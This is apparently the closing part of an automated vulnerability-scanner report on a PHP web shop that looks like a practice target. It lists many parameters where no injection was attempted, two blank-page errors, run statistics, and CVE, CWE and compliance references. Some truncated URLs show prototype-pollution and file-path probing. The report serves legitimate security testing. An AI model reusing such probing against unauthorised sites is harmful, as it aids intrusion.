info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/image.php?file=asse…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/api.php?callback=cb…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/tutorial.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/reviews.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/var/www/html/catalo…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/viewsource.php?p=pr…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/hackme.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/var/www/html/produc…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/x`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/admin.php?__proto__…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/config.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/track.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/challenges.php`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/var/www/html/source…`
info	recon/triage	`curr` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`data` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/cart.php?data=1…`
info	recon/triage	`data` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/catalog.php?data=1…`
info	recon/triage	`data` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`del` showed no quiet differential - no injection family schedul…	`https://sekumart.sekuripy.hr/cart.php`
info	recon/triage	`email` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`email` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	recon/triage	`email` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	recon/triage	`fields` showed no quiet differential - no injection family sche…	`https://sekumart.sekuripy.hr/catalog.php?fields=…`
info	recon/triage	`fields` showed no quiet differential - no injection family sche…	`https://sekumart.sekuripy.hr/cart.php?fields=1…`
info	recon/triage	`fields` showed no quiet differential - no injection family sche…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`flag` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`flag` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	recon/triage	`l` showed no quiet differential - no injection family scheduled	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1…`
info	recon/triage	`l` showed no quiet differential - no injection family scheduled	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`mode` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`mode` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	recon/triage	`mode` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	recon/triage	`p` showed no quiet differential - no injection family scheduled	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`p` showed no quiet differential - no injection family scheduled	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	recon/triage	`password` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`password` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/catalog.php?p=1…`
info	recon/triage	`qty` showed no quiet differential - no injection family schedul…	`https://sekumart.sekuripy.hr/cart.php`
info	recon/triage	`refresh` showed no quiet differential - no injection family sch…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`refresh` showed no quiet differential - no injection family sch…	`https://sekumart.sekuripy.hr/cart.php?host=1&ip=…`
info	recon/triage	`refresh` showed no quiet differential - no injection family sch…	`https://sekumart.sekuripy.hr/catalog.php?host=1…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/admin.php?__proto__…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/catalog.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/reviews.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/x`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/config.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/account.php?__proto…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/var/www/html/source…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/var/www/html/produc…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/help.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/hackme.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/login.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/category.php?cat=2`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/sksbuzqq4`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/api.php?callback=cb…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/var/www/html/config…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/apiv1.php?__proto__…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/product.php?id=3`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/track.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/var/www/html/catalo…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/var/www/html/cart.p…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/cart.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/tutorial.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/image.php?file=asse…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/var/www/html/source…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/challenges.php`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/viewsource.php?p=pr…`
info	recon/triage	`seclevel` showed no quiet differential - no injection family sc…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`session` showed no quiet differential - no injection family sch…	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	recon/triage	`session` showed no quiet differential - no injection family sch…	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	recon/triage	`session` showed no quiet differential - no injection family sch…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`set` showed no quiet differential - no injection family schedul…	`https://sekumart.sekuripy.hr/cart.php`
info	recon/triage	`state` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`state` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/catalog.php?templat…`
info	recon/triage	`state` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/cart.php?template=1…`
info	recon/triage	`token` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	recon/triage	`token` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`token` showed no quiet differential - no injection family sched…	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	recon/triage	`type` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/cart.php?fileName=1…`
info	recon/triage	`type` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/sekumart.sekuripy.h…`
info	recon/triage	`type` showed no quiet differential - no injection family schedu…	`https://sekumart.sekuripy.hr/catalog.php?fileNam…`
info	runtime/errors	Blank page rendered	`/go.php`
info	runtime/errors	Blank page rendered	`/config.php`

Run detailidentifiers, versions, markers

run: run_de36897443724631
profile: sekumart-public
stack detected: PHP
work done: 15164 actions — 410 exploring, 14738 probing
versions: agent 0.1.0 · engine · protocol 0.1

References

Every catalogue and standard this report cites, and nothing else. A reference list longer than the document's own citations is decoration.

Published vulnerabilities

CVE-2025-14179 National Vulnerability Database
CVE-2026-14355 National Vulnerability Database
CVE-2026-17543 National Vulnerability Database
CVE-2026-6722 National Vulnerability Database
CVE-2026-6735 National Vulnerability Database
CVE-2026-7259 National Vulnerability Database
CVE-2026-7260 National Vulnerability Database
CVE-2026-7261 National Vulnerability Database
CVE-2026-7262 National Vulnerability Database
CVE-2026-7568 National Vulnerability Database

Weakness types

CWE-22 traversal
CWE-79 dom, second_order, xss
CWE-89 sqli
CWE-200 graphql, rest
CWE-209 errors
CWE-256 credential_storage
CWE-319 transport
CWE-326 tls
CWE-352 session
CWE-384 session
CWE-441 cache_poisoning
CWE-601 open_redirect
CWE-643 xpath
CWE-693 csp, headers
CWE-829 supplychain
CWE-840 workflow
CWE-943 nosqli
CWE-1004 cookies
CWE-1021 clickjacking
CWE-1104 platform

Standards and frameworks

OWASP Top 10 version 2025 — mapped at category level
OWASP API Security Top 10 version 2023 — mapped at category level
OWASP ASVS version 5.0.0 — mapped at chapter level
OWASP WSTG version 4.2 — mapped at test level
ISO/IEC 27001 version 2022 — mapped at Annex A control level
NIST CSF version 2.0 — mapped at subcategory level
PCI DSS version 4.0.1 — mapped at requirement level

A mapping says which control an observation is relevant to. It is not a statement of compliance, which needs scope, evidence and an assessor this report does not stand in for.